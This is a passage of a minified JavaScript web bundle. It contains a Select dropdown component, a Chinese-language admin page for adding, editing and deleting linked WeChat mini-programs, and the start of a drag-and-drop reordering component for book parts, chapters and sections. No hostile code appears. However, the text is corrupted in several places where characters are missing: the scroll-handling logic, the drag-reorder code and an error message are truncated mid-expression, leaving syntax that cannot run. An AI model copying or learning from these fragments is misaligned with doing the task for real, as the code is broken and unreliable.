f4="SelectValue",p4=b.forwardRef((t,e)=>{const{__scopeSelect:n,className:r,style:a,children:i,placeholder:o="",...c}=t,u=Ii(f4,n),{onValueNodeHasChildrenChange:h}=u,f=i!==void 0,m=Ct(e,u.onValueNodeChange);return or(()=>{h(f)},[h,f]),s.jsx(ht.span,{...c,ref:m,style:{pointerEvents:"none"},children:P4(u.value)?s.jsx(s.Fragment,{children:o}):i})});p4.displayName=f4;var IB="SelectIcon",m4=b.forwardRef((t,e)=>{const{__scopeSelect:n,children:r,...a}=t;return s.jsx(ht.span,{"aria-hidden":!0,...a,ref:e,children:r||"▼"})});m4.displayName=IB;var RB="SelectPortal",g4=t=>s.jsx(qx,{asChild:!0,...t});g4.displayName=RB;var To="SelectContent",x4=b.forwardRef((t,e)=>{const n=Ii(To,t.__scopeSelect),[r,a]=b.useState();if(or(()=>{a(new DocumentFragment)},[]),!n.open){const i=r;return i?md.createPortal(s.jsx(y4,{scope:t.__scopeSelect,children:s.jsx(Hf.Slot,{scope:t.__scopeSelect,children:s.jsx("div",{children:t.children})})}),i):null}return s.jsx(b4,{...t,ref:e})});x4.displayName=To;var ws=10,[y4,Ri]=Vl(To),PB="SelectContentImpl",OB=ed("SelectContent.RemoveScroll"),b4=b.forwardRef((t,e)=>{const{__scopeSelect:n,position:r="item-aligned",onCloseAutoFocus:a,onEscapeKeyDown:i,onPointerDownOutside:o,side:c,sideOffset:u,align:h,alignOffset:f,arrowPadding:m,collisionBoundary:g,collisionPadding:y,sticky:N,hideWhenDetached:w,avoidCollisions:v,...k}=t,C=Ii(To,n),[E,T]=b.useState(null),[I,O]=b.useState(null),L=Ct(e,re=>T(re)),[R,D]=b.useState(null),[z,Z]=b.useState(null),ne=Wf(n),[fe,xe]=b.useState(!1),$=b.useRef(!1);b.useEffect(()=>{if(E)return Oj(E)},[E]),Sj();const H=b.useCallback(re=>{const[ue,...ce]=ne().map(Le=>Le.ref.current),[ye]=ce.slice(-1),Re=document.activeElement;for(const Le of re)if(Le===Re||(Le==null||Le.scrollIntoView({block:"nearest"}),Le===ue&&I&&(I.scrollTop=0),Le===ye&&I&&(I.scrollTop=I.scrollHeight),Le==null||Le.focus(),document.activeElement!==Re))return},[ne,I]),oe=b.useCallback(()=>H([R,E]),[H,R,E]);b.useEffect(()=>{fe&&oe()},[fe,oe]);const{onOpenChange:P,triggerPointerDownPosRef:q}=C;b.useEffect(()=>{if(E){let re={x:0,y:0};const ue=ye=>{var Re,Le;re={x:Math.abs(Math.round(ye.pageX)-(((Re=q.current)==null?void 0:Re.x)??0)),y:Math.abs(Math.round(ye.pageY)-(((Le=q.current)==null?void 0:Le.y)??0))}},ce=ye=>{re.x<=10&&re.y<=10?ye.preventDefault():E.contains(ye.target)||P(!1),document.removeEventListener("pointermove",ue),q.current=null};return q.current!==null&&(document.addEventListener("pointermove",ue),document.addEventListener("pointerup",ce,{capture:!0,once:!0})),()=>{document.removeEventListener("pointermove",ue),document.removeEventListener("pointerup",ce,{capture:!0})}}},[E,P,q]),b.useEffect(()=>{const re=()=>P(!1);return window.addEventListener("blur",re),window.addEventListener("resize",re),()=>{window.removeEventListener("blur",re),window.removeEventListener("resize",re)}},[P]);const[B,_]=O4(re=>{const ue=ne().filter(Re=>!Re.disabled),ce=ue.find(Re=>Re.ref.current===document.activeElement),ye=D4(ue,re,ce);ye&&setTimeout(()=>ye.ref.current.focus())}),W=b.useCallback((re,ue,ce)=>{const ye=!$.current&&!ce;(C.value!==void 0&&C.value===ue||ye)&&(D(re),ye&&($.current=!0))},[C.value]),le=b.useCallback(()=>E==null?void 0:E.focus(),[E]),J=b.useCallback((re,ue,ce)=>{const ye=!$.current&&!ce;(C.value!==void 0&&C.value===ue||ye)&&Z(re)},[C.value]),Y=r==="popper"?Ix:v4,V=Y===Ix?{side:c,sideOffset:u,align:h,alignOffset:f,arrowPadding:m,collisionBoundary:g,collisionPadding:y,sticky:N,hideWhenDetached:w,avoidCollisions:v}:{};return s.jsx(y4,{scope:n,content:E,viewport:I,onViewportChange:O,itemRefCallback:W,selectedItem:R,onItemLeave:le,itemTextRefCallback:J,focusSelectedItem:oe,selectedItemText:z,position:r,isPositioned:fe,searchRef:B,children:s.jsx(Gx,{as:OB,allowPinchZoom:!0,children:s.jsx(Kx,{asChild:!0,trapped:C.open,onMountAutoFocus:re=>{re.preventDefault()},onUnmountAutoFocus:ot(a,re=>{var ue;(ue=C.trigger)==null||ue.focus({preventScroll:!0}),re.preventDefault()}),children:s.jsx(Ux,{asChild:!0,disableOutsidePointerEvents:!0,onEscapeKeyDown:i,onPointerDownOutside:o,onFocusOutside:re=>re.preventDefault(),onDismiss:()=>C.onOpenChange(!1),children:s.jsx(Y,{role:"listbox",id:C.contentId,"data-state":C.open?"open":"closed",dir:C.dir,onContextMenu:re=>re.preventDefault(),...k,...V,onPlaced:()=>xe(!0),ref:L,style:{display:"flex",flexDirection:"column",outline:"none",...k.style},onKeyDown:ot(k.onKeyDown,re=>{const ue=re.ctrlKey||re.altKey||re.metaKey;if(re.key==="Tab"&&re.preventDefault(),!ue&&re.key.length===1&&_(re.key),["ArrowUp","ArrowDown","Home","End"].includes(re.key)){let ye=ne().filter(Re=>!Re.disabled).map(Re=>Re.ref.current);if(["ArrowUp","End"].includes(re.key)&&(ye=ye.slice().reverse()),["ArrowUp","ArrowDown"].includes(re.key)){const Re=re.target,Le=ye.indexOf(Re);ye=ye.slice(Le+1)}setTimeout(()=>H(ye)),re.preventDefault()}})})})})})})});b4.displayName=PB;var DB="SelectItemAlignedPosition",v4=b.forwardRef((t,e)=>{const{__scopeSelect:n,onPlaced:r,...a}=t,i=Ii(To,n),o=Ri(To,n),[c,u]=b.useState(null),[h,f]=b.useState(null),m=Ct(e,L=>f(L)),g=Wf(n),y=b.useRef(!1),N=b.useRef(!0),{viewport:w,selectedItem:v,selectedItemText:k,focusSelectedItem:C}=o,E=b.useCallback(()=>{if(i.trigger&&i.valueNode&&c&&h&&w&&v&&k){const L=i.trigger.getBoundingClientRect(),R=h.getBoundingClientRect(),D=i.valueNode.getBoundingClientRect(),z=k.getBoundingClientRect();if(i.dir!=="rtl"){const Re=z.left-R.left,Le=D.left-Re,lt=L.left-Le,Tt=L.width+lt,ln=Math.max(Tt,R.width),yt=window.innerWidth-ws,nn=mh(Le,[ws,Math.max(ws,yt-ln)]);c.style.minWidth=Tt+"px",c.style.left=nn+"px"}else{const Re=R.right-z.right,Le=window.innerWidth-D.right-Re,lt=window.innerWidth-L.right-Le,Tt=L.width+lt,ln=Math.max(Tt,R.width),yt=window.innerWidth-ws,nn=mh(Le,[ws,Math.max(ws,yt-ln)]);c.style.minWidth=Tt+"px",c.style.right=nn+"px"}const Z=g(),ne=window.innerHeight-ws*2,fe=w.scrollHeight,xe=window.getComputedStyle(h),$=parseInt(xe.borderTopWidth,10),H=parseInt(xe.paddingTop,10),oe=parseInt(xe.borderBottomWidth,10),P=parseInt(xe.paddingBottom,10),q=$+H+fe+P+oe,B=Math.min(v.offsetHeight*5,q),_=window.getComputedStyle(w),W=parseInt(_.paddingTop,10),le=parseInt(_.paddingBottom,10),J=L.top+L.height/2-ws,Y=ne-J,V=v.offsetHeight/2,re=v.offsetTop+V,ue=$+H+re,ce=q-ue;if(ue<=J){const Re=Z.length>0&&v===Z[Z.length-1].ref.current;c.style.bottom="0px";const Le=h.clientHeight-w.offsetTop-w.offsetHeight,lt=Math.max(Y,V+(Re?le:0)+Le+oe),Tt=ue+lt;c.style.height=Tt+"px"}else{const Re=Z.length>0&&v===Z[0].ref.current;c.style.top="0px";const lt=Math.max(J,$+w.offsetTop+(Re?W:0)+V)+ce;c.style.height=lt+"px",w.scrollTop=ue-J+w.offsetTop}c.style.margin=`${ws}px 0`,c.style.minHeight=B+"px",c.style.maxHeight=ne+"px",r==null||r(),requestAnimationFrame(()=>y.current=!0)}},[g,i.trigger,i.valueNode,c,h,w,v,k,i.dir,r]);or(()=>E(),[E]);const[T,I]=b.useState();or(()=>{h&&I(window.getComputedStyle(h).zIndex)},[h]);const O=b.useCallback(L=>{L&&N.current===!0&&(E(),C==null||C(),N.current=!1)},[E,C]);return s.jsx(_B,{scope:n,contentWrapper:c,shouldExpandOnScrollRef:y,onScrollButtonChange:O,children:s.jsx("div",{ref:u,style:{display:"flex",flexDirection:"column",position:"fixed",zIndex:T},children:s.jsx(ht.div,{...a,ref:m,style:{boxSizing:"border-box",maxHeight:"100%",...a.style}})})})});v4.displayName=DB;var LB="SelectPopperPosition",Ix=b.forwardRef((t,e)=>{const{__scopeSelect:n,align:r="start",collisionPadding:a=ws,...i}=t,o=Uf(n);return s.jsx(NB,{...o,...i,ref:e,align:r,collisionPadding:a,style:{boxSizing:"border-box",...i.style,"--radix-select-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-select-content-available-width":"var(--radix-popper-available-width)","--radix-select-content-available-height":"var(--radix-popper-available-height)","--radix-select-trigger-width":"var(--radix-popper-anchor-width)","--radix-select-trigger-height":"var(--radix-popper-anchor-height)"}})});Ix.displayName=LB;var[_B,ny]=Vl(To,{}),Rx="SelectViewport",N4=b.forwardRef((t,e)=>{const{__scopeSelect:n,nonce:r,...a}=t,i=Ri(Rx,n),o=ny(Rx,n),c=Ct(e,i.onViewportChange),u=b.useRef(0);return s.jsxs(s.Fragment,{children:[s.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-select-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-select-viewport]::-webkit-scrollbar{display:none}"},nonce:r}),s.jsx(Hf.Slot,{scope:n,children:s.jsx(ht.div,{"data-radix-select-viewport":"",role:"presentation",...a,ref:c,style:{position:"relative",flex:1,overflow:"hidden auto",...a.style},onScroll:ot(a.onScroll,h=>{const f=h.currentTarget,{contentWrapper:m,shouldExpandOnScrollRef:g}=o;if(g!=null&&g.current&&m){const y=Math.abs(u.current-f.scrollTop);if(y>0){const N=window.innerHeight-ws*2,w=parseFloat(m.style.minHeight),v=parseFloat(m.style.height),k=Math.max(w,v);if(k0?T:0,m.style.justifyContent="flex-end")}}}u.current=f.scrollTop})})})]})});N4.displayName=Rx;var w4="SelectGroup",[zB,$B]=Vl(w4),FB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=fi();return s.jsx(zB,{scope:n,id:a,children:s.jsx(ht.div,{role:"group","aria-labelledby":a,...r,ref:e})})});FB.displayName=w4;var j4="SelectLabel",BB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=$B(j4,n);return s.jsx(ht.div,{id:a.id,...r,ref:e})});BB.displayName=j4;var df="SelectItem",[VB,k4]=Vl(df),S4=b.forwardRef((t,e)=>{const{__scopeSelect:n,value:r,disabled:a=!1,textValue:i,...o}=t,c=Ii(df,n),u=Ri(df,n),h=c.value===r,[f,m]=b.useState(i??""),[g,y]=b.useState(!1),N=Ct(e,C=>{var E;return(E=u.itemRefCallback)==null?void 0:E.call(u,C,r,a)}),w=fi(),v=b.useRef("touch"),k=()=>{a||(c.onValueChange(r),c.onOpenChange(!1))};if(r==="")throw new Error("A must have a value prop that is not an empty string. This is because the Select value can be set to an empty string to clear the selection and show the placeholder.");return s.jsx(VB,{scope:n,value:r,disabled:a,textId:w,isSelected:h,onItemTextChange:b.useCallback(C=>{m(E=>E||((C==null?void 0:C.textContent)??"").trim())},[]),children:s.jsx(Hf.ItemSlot,{scope:n,value:r,disabled:a,textValue:f,children:s.jsx(ht.div,{role:"option","aria-labelledby":w,"data-highlighted":g?"":void 0,"aria-selected":h&&g,"data-state":h?"checked":"unchecked","aria-disabled":a||void 0,"data-disabled":a?"":void 0,tabIndex:a?void 0:-1,...o,ref:N,onFocus:ot(o.onFocus,()=>y(!0)),onBlur:ot(o.onBlur,()=>y(!1)),onClick:ot(o.onClick,()=>{v.current!=="mouse"&&k()}),onPointerUp:ot(o.onPointerUp,()=>{v.current==="mouse"&&k()}),onPointerDown:ot(o.onPointerDown,C=>{v.current=C.pointerType}),onPointerMove:ot(o.onPointerMove,C=>{var E;v.current=C.pointerType,a?(E=u.onItemLeave)==null||E.call(u):v.current==="mouse"&&C.currentTarget.focus({preventScroll:!0})}),onPointerLeave:ot(o.onPointerLeave,C=>{var E;C.currentTarget===document.activeElement&&((E=u.onItemLeave)==null||E.call(u))}),onKeyDown:ot(o.onKeyDown,C=>{var T;((T=u.searchRef)==null?void 0:T.current)!==""&&C.key===" "||(CB.includes(C.key)&&k(),C.key===" "&&C.preventDefault())})})})})});S4.displayName=df;var Dc="SelectItemText",C4=b.forwardRef((t,e)=>{const{__scopeSelect:n,className:r,style:a,...i}=t,o=Ii(Dc,n),c=Ri(Dc,n),u=k4(Dc,n),h=AB(Dc,n),[f,m]=b.useState(null),g=Ct(e,k=>m(k),u.onItemTextChange,k=>{var C;return(C=c.itemTextRefCallback)==null?void 0:C.call(c,k,u.value,u.disabled)}),y=f==null?void 0:f.textContent,N=b.useMemo(()=>s.jsx("option",{value:u.value,disabled:u.disabled,children:y},u.value),[u.disabled,u.value,y]),{onNativeOptionAdd:w,onNativeOptionRemove:v}=h;return or(()=>(w(N),()=>v(N)),[w,v,N]),s.jsxs(s.Fragment,{children:[s.jsx(ht.span,{id:u.textId,...i,ref:g}),u.isSelected&&o.valueNode&&!o.valueNodeHasChildren?md.createPortal(i.children,o.valueNode):null]})});C4.displayName=Dc;var E4="SelectItemIndicator",T4=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t;return k4(E4,n).isSelected?s.jsx(ht.span,{"aria-hidden":!0,...r,ref:e}):null});T4.displayName=E4;var Px="SelectScrollUpButton",M4=b.forwardRef((t,e)=>{const n=Ri(Px,t.__scopeSelect),r=ny(Px,t.__scopeSelect),[a,i]=b.useState(!1),o=Ct(e,r.onScrollButtonChange);return or(()=>{if(n.viewport&&n.isPositioned){let c=function(){const h=u.scrollTop>0;i(h)};const u=n.viewport;return c(),u.addEventListener("scroll",c),()=>u.removeEventListener("scroll",c)}},[n.viewport,n.isPositioned]),a?s.jsx(I4,{...t,ref:o,onAutoScroll:()=>{const{viewport:c,selectedItem:u}=n;c&&u&&(c.scrollTop=c.scrollTop-u.offsetHeight)}}):null});M4.displayName=Px;var Ox="SelectScrollDownButton",A4=b.forwardRef((t,e)=>{const n=Ri(Ox,t.__scopeSelect),r=ny(Ox,t.__scopeSelect),[a,i]=b.useState(!1),o=Ct(e,r.onScrollButtonChange);return or(()=>{if(n.viewport&&n.isPositioned){let c=function(){const h=u.scrollHeight-u.clientHeight,f=Math.ceil(u.scrollTop)u.removeEventListener("scroll",c)}},[n.viewport,n.isPositioned]),a?s.jsx(I4,{...t,ref:o,onAutoScroll:()=>{const{viewport:c,selectedItem:u}=n;c&&u&&(c.scrollTop=c.scrollTop+u.offsetHeight)}}):null});A4.displayName=Ox;var I4=b.forwardRef((t,e)=>{const{__scopeSelect:n,onAutoScroll:r,...a}=t,i=Ri("SelectScrollButton",n),o=b.useRef(null),c=Wf(n),u=b.useCallback(()=>{o.current!==null&&(window.clearInterval(o.current),o.current=null)},[]);return b.useEffect(()=>()=>u(),[u]),or(()=>{var f;const h=c().find(m=>m.ref.current===document.activeElement);(f=h==null?void 0:h.ref.current)==null||f.scrollIntoView({block:"nearest"})},[c]),s.jsx(ht.div,{"aria-hidden":!0,...a,ref:e,style:{flexShrink:0,...a.style},onPointerDown:ot(a.onPointerDown,()=>{o.current===null&&(o.current=window.setInterval(r,50))}),onPointerMove:ot(a.onPointerMove,()=>{var h;(h=i.onItemLeave)==null||h.call(i),o.current===null&&(o.current=window.setInterval(r,50))}),onPointerLeave:ot(a.onPointerLeave,()=>{u()})})}),HB="SelectSeparator",WB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t;return s.jsx(ht.div,{"aria-hidden":!0,...r,ref:e})});WB.displayName=HB;var Dx="SelectArrow",UB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=Uf(n),i=Ii(Dx,n),o=Ri(Dx,n);return i.open&&o.position==="popper"?s.jsx(wB,{...a,...r,ref:e}):null});UB.displayName=Dx;var KB="SelectBubbleInput",R4=b.forwardRef(({__scopeSelect:t,value:e,...n},r)=>{const a=b.useRef(null),i=Ct(r,a),o=e0(e);return b.useEffect(()=>{const c=a.current;if(!c)return;const u=window.HTMLSelectElement.prototype,f=Object.getOwnPropertyDescriptor(u,"value").set;if(o!==e&&f){const m=new Event("change",{bubbles:!0});f.call(c,e),c.dispatchEvent(m)}},[o,e]),s.jsx(ht.select,{...n,style:{...c4,...n.style},ref:i,defaultValue:e})});R4.displayName=KB;function P4(t){return t===""||t===void 0}function O4(t){const e=bi(t),n=b.useRef(""),r=b.useRef(0),a=b.useCallback(o=>{const c=n.current+o;e(c),(function u(h){n.current=h,window.clearTimeout(r.current),h!==""&&(r.current=window.setTimeout(()=>u(""),1e3))})(c)},[e]),i=b.useCallback(()=>{n.current="",window.clearTimeout(r.current)},[]);return b.useEffect(()=>()=>window.clearTimeout(r.current),[]),[n,a,i]}function D4(t,e,n){const a=e.length>1&&Array.from(e).every(h=>h===e[0])?e[0]:e,i=n?t.indexOf(n):-1;let o=qB(t,Math.max(i,0));a.length===1&&(o=o.filter(h=>h!==n));const u=o.find(h=>h.textValue.toLowerCase().startsWith(a.toLowerCase()));return u!==n?u:void 0}function qB(t,e){return t.map((n,r)=>t[(e+r)%t.length])}var GB=d4,L4=h4,JB=p4,YB=m4,QB=g4,_4=x4,XB=N4,z4=S4,ZB=C4,eV=T4,tV=M4,nV=A4;const hl=GB,fl=JB,no=b.forwardRef(({className:t,children:e,...n},r)=>s.jsxs(L4,{ref:r,className:Et("flex h-10 w-full items-center justify-between rounded-md border border-input bg-background px-3 py-2 text-sm placeholder:text-muted-foreground focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&>span]:line-clamp-1",t),...n,children:[e,s.jsx(YB,{asChild:!0,children:s.jsx(Zc,{className:"h-4 w-4 opacity-50"})})]}));no.displayName=L4.displayName;const ro=b.forwardRef(({className:t,children:e,position:n="popper",...r},a)=>s.jsx(QB,{children:s.jsxs(_4,{ref:a,className:Et("relative z-50 max-h-96 min-w-[8rem] overflow-hidden rounded-md border bg-popover text-popover-foreground shadow-md",n==="popper"&&"data-[side=bottom]:translate-y-1",t),position:n,...r,children:[s.jsx(tV,{className:"flex cursor-default items-center justify-center py-1",children:s.jsx(Kw,{className:"h-4 w-4"})}),s.jsx(XB,{className:"p-1",children:e}),s.jsx(nV,{className:"flex cursor-default items-center justify-center py-1",children:s.jsx(Zc,{className:"h-4 w-4"})})]})}));ro.displayName=_4.displayName;const _r=b.forwardRef(({className:t,children:e,...n},r)=>s.jsxs(z4,{ref:r,className:Et("relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",t),...n,children:[s.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:s.jsx(eV,{children:s.jsx(ff,{className:"h-4 w-4"})})}),s.jsx(ZB,{children:e})]}));_r.displayName=z4.displayName;function rV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(null),[u,h]=b.useState({name:"",appId:"",path:"",sort:0}),[f,m]=b.useState(!1);async function g(){r(!0);try{const k=await De("/api/admin/linked-miniprograms");if(k!=null&&k.success&&Array.isArray(k.data)){const C=[...k.data].sort((E,T)=>(E.sort??0)-(T.sort??0));e(C)}}catch(k){console.error("Load linked miniprograms error:",k),ie.error("加载失败")}finally{r(!1)}}b.useEffect(()=>{g()},[]);function y(){c(null),h({name:"",appId:"",path:"",sort:t.length}),i(!0)}function N(k){c(k),h({name:k.name,appId:k.appId,path:k.path??"",sort:k.sort??0}),i(!0)}async function w(){const k=u.name.trim(),C=u.appId.trim();if(!k||!C){ie.error("请填写小程序名称和 AppID");return}m(!0);try{if(o){const E=await zt("/api/admin/linked-miniprograms",{key:o.key,name:k,appId:C,path:u.path.trim(),sort:u.sort});E!=null&&E.success?(ie.success("已更新"),i(!1),g()):ie.error((E==null?void 0:E.error)??"更新失败")}else{const E=await vt("/api/admin/linked-miniprograms",{name:k,appId:C,path:u.path.trim(),sort:u.sort});E!=null&&E.success?(ie.success("已添加"),i(!1),g()):ie.error((E==null?void 0:E.error)??"添加失败")}}catch{ie.error("操作失败")}finally{m(!1)}}async function v(k){if(confirm(`确定要删除「${k.name}」吗?`))try{const C=await Bs(`/api/admin/linked-miniprograms/${k.key}`);C!=null&&C.success?(ie.success("已删除"),g()):ie.error((C==null?void 0:C.error)??"删除失败")}catch{ie.error("删除失败")}}return s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5 text-[#38bdac]"}),"关联小程序管理"]}),s.jsx(It,{className:"text-gray-400",children:"添加后生成 32 位密钥,链接标签选择小程序时存密钥;小程序端点击 #标签 时用密钥查 appId 再跳转。需在 app.json 的 navigateToMiniProgramAppIdList 中配置目标 AppID。"})]}),s.jsxs(Ee,{children:[s.jsxs("div",{className:"flex justify-end gap-2 mb-4",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 hover:bg-gray-700/50",onClick:()=>g(),title:"刷新",children:s.jsx(qe,{className:"w-4 h-4"})}),s.jsxs(te,{onClick:y,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加关联小程序"]})]}),n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"名称"}),s.jsx(ke,{className:"text-gray-400",children:"密钥"}),s.jsx(ke,{className:"text-gray-400",children:"AppID"}),s.jsx(ke,{className:"text-gray-400",children:"路径"}),s.jsx(ke,{className:"text-gray-400 w-24",children:"排序"}),s.jsx(ke,{className:"text-gray-400 w-32",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(k=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-white",children:k.name}),s.jsx(ve,{className:"text-gray-300 font-mono text-xs",children:k.key}),s.jsx(ve,{className:"text-gray-300 font-mono text-sm",children:k.appId}),s.jsx(ve,{className:"text-gray-400 text-sm",children:k.path||"—"}),s.jsx(ve,{className:"text-gray-300",children:k.sort??0}),s.jsx(ve,{children:s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"text-[#38bdac] hover:bg-[#38bdac]/20",onClick:()=>N(k),children:s.jsx(nj,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:bg-red-500/20",onClick:()=>v(k),children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},k.key)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:6,className:"text-center py-12 text-gray-500",children:"暂无关联小程序,点击「添加关联小程序」开始配置"})})]})]})]})]}),s.jsx(Dt,{open:a,onOpenChange:i,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md p-4 gap-3",children:[s.jsxs(Lt,{className:"gap-1",children:[s.jsx(_t,{className:"text-base",children:o?"编辑关联小程序":"添加关联小程序"}),s.jsx(yf,{className:"text-gray-400 text-xs",children:"填写目标小程序的名称和 AppID,路径可选(为空则打开首页)"})]}),s.jsxs("div",{className:"space-y-3 py-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"小程序名称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm",placeholder:"例如:Soul 创业派对",value:u.name,onChange:k=>h(C=>({...C,name:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono h-8 text-sm",placeholder:"例如:wxb8bbb2b10dec74aa",value:u.appId,onChange:k=>h(C=>({...C,appId:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"路径(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm",placeholder:"例如:pages/index/index",value:u.path,onChange:k=>h(C=>({...C,path:k.target.value}))})]}),s.jsxs("div",{className:"space-y-1",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"排序"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white h-8 text-sm w-20",value:u.sort,onChange:k=>h(C=>({...C,sort:parseInt(k.target.value,10)||0}))})]})]}),s.jsxs(on,{className:"gap-2 pt-1",children:[s.jsx(te,{variant:"outline",onClick:()=>i(!1),className:"border-gray-600",children:"取消"}),s.jsx(te,{onClick:w,disabled:f,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:f?"保存中...":"保存"})]})]})})]})}const sV=["一","二","三","四","五","六","七","八","九","十"];function Ng(t){return t.startsWith("part:")?{type:"part",id:t.slice(5)}:t.startsWith("chapter:")?{type:"chapter",id:t.slice(8)}:t.startsWith("section:")?{type:"section",id:t.slice(8)}:null}function aV({parts:t,expandedParts:e,onTogglePart:n,onReorder:r,onReadSection:a,onDeleteSection:i,onAddSectionInPart:o,onAddChapterInPart:c,onDeleteChapter:u,onEditPart:h,onDeletePart:f,onEditChapter:m,selectedSectionIds:g=[],onToggleSectionSelect:y,onShowSectionOrders:N,pinnedSectionIds:w=[]}){const[v,k]=b.useState(null),[C,E]=b.useState(null),T=(z,Z)=>(v==null?void 0:v.type)===z&&(v==null?void 0:v.id)===Z,I=(z,Z)=>(C==null?void 0:C.type)===z&&(C==null?void 0:C.id)===Z,O=b.useCallback(()=>{const z=[];for(const Z of t)for(const ne of Z.chapters)for(const fe of ne.sections)z.push({id:fe.id,partId:Z.id,partTitle:Z.title,chapterId:ne.id,chapterTitle:ne.title});return z},[t]),L=b.useCallback(async(z,Z,ne,fe)=>{var P;z.preventDefault(),z.stopPropagation();const xe=z.dataTransfer.getData("text/plain"),$=Ng(xe);if(!$||$.type===Z&&$.id===ne)return;const H=O(),oe=new Map(H.map(q=>[q.id,q]));if($.type==="part"&&Z==="part"){const q=t.map(J=>J.id),B=q.indexOf($.id),_=q.indexOf(ne);if(B===-1||_===-1)return;const W=[...q];W.splice(B,1),W.splice(B<_?_-1:_,0,$.id);const le=[];for(const J of W){const Y=t.find(V=>V.id===J);if(Y)for(const V of Y.chapters)for(const re of V.sections){const ue=oe.get(re.id);ue&&le.push(ue)}}await r(le);return}if($.type==="chapter"&&(Z==="chapter"||Z==="section"||Z==="part")){const q=t.find(ue=>ue.chapters.some(ce=>ce.id===$.id)),B=q==null?void 0:q.chapters.find(ue=>ue.id===$.id);if(!q||!B)return;let _,W,le=null;if(Z==="section"){const ue=oe.get(ne);if(!ue)return;_=ue.partId,W=ue.partTitle,le=ne}else if(Z==="chapter"){const ue=t.find(Re=>Re.chapters.some(Le=>Le.id===ne)),ce=ue==null?void 0:ue.chapters.find(Re=>Re.id===ne);if(!ue||!ce)return;_=ue.id,W=ue.title;const ye=H.filter(Re=>Re.chapterId===ne).pop();le=(ye==null?void 0:ye.id)??null}else{const ue=t.find(ye=>ye.id===ne);if(!ue||!ue.chapters[0])return;_=ue.id,W=ue.title;const ce=H.filter(ye=>ye.partId===ue.id&&ye.chapterId===ue.chapters[0].id);le=((P=ce[ce.length-1])==null?void 0:P.id)??null}const J=B.sections.map(ue=>ue.id),Y=H.filter(ue=>!J.includes(ue.id));let V=Y.length;if(le){const ue=Y.findIndex(ce=>ce.id===le);ue>=0&&(V=ue+1)}const re=J.map(ue=>({...oe.get(ue),partId:_,partTitle:W,chapterId:B.id,chapterTitle:B.title}));await r([...Y.slice(0,V),...re,...Y.slice(V)]);return}if($.type==="section"&&(Z==="section"||Z==="chapter"||Z==="part")){if(!fe)return;const{partId:q,partTitle:B,chapterId:_,chapterTitle:W}=fe;let le;if(Z==="section")le=H.findIndex(ce=>ce.id===ne);else if(Z==="chapter"){const ce=H.filter(ye=>ye.chapterId===ne).pop();le=ce?H.findIndex(ye=>ye.id===ce.id)+1:H.length}else{const ce=t.find(Le=>Le.id===ne);if(!(ce!=null&&ce.chapters[0]))return;const ye=H.filter(Le=>Le.partId===ce.id&&Le.chapterId===ce.chapters[0].id),Re=ye[ye.length-1];le=Re?H.findIndex(Le=>Le.id===Re.id)+1:0}const J=H.findIndex(ce=>ce.id===$.id);if(J===-1)return;const Y=H.filter(ce=>ce.id!==$.id),V=J({onDragEnter:fe=>{fe.preventDefault(),fe.stopPropagation(),fe.dataTransfer.dropEffect="move",E({type:z,id:Z})},onDragOver:fe=>{fe.preventDefault(),fe.stopPropagation(),fe.dataTransfer.dropEffect="move",E({type:z,id:Z})},onDragLeave:()=>E(null),onDrop:fe=>{E(null);const xe=Ng(fe.dataTransfer.getData("text/plain"));if(xe&&!(z==="section"&&xe.type==="section"&&xe.id===Z))if(z==="part")if(xe.type==="part")L(fe,"part",Z);else{const $=t.find(oe=>oe.id===Z);($==null?void 0:$.chapters[0])&&ne&&L(fe,"part",Z,ne)}else 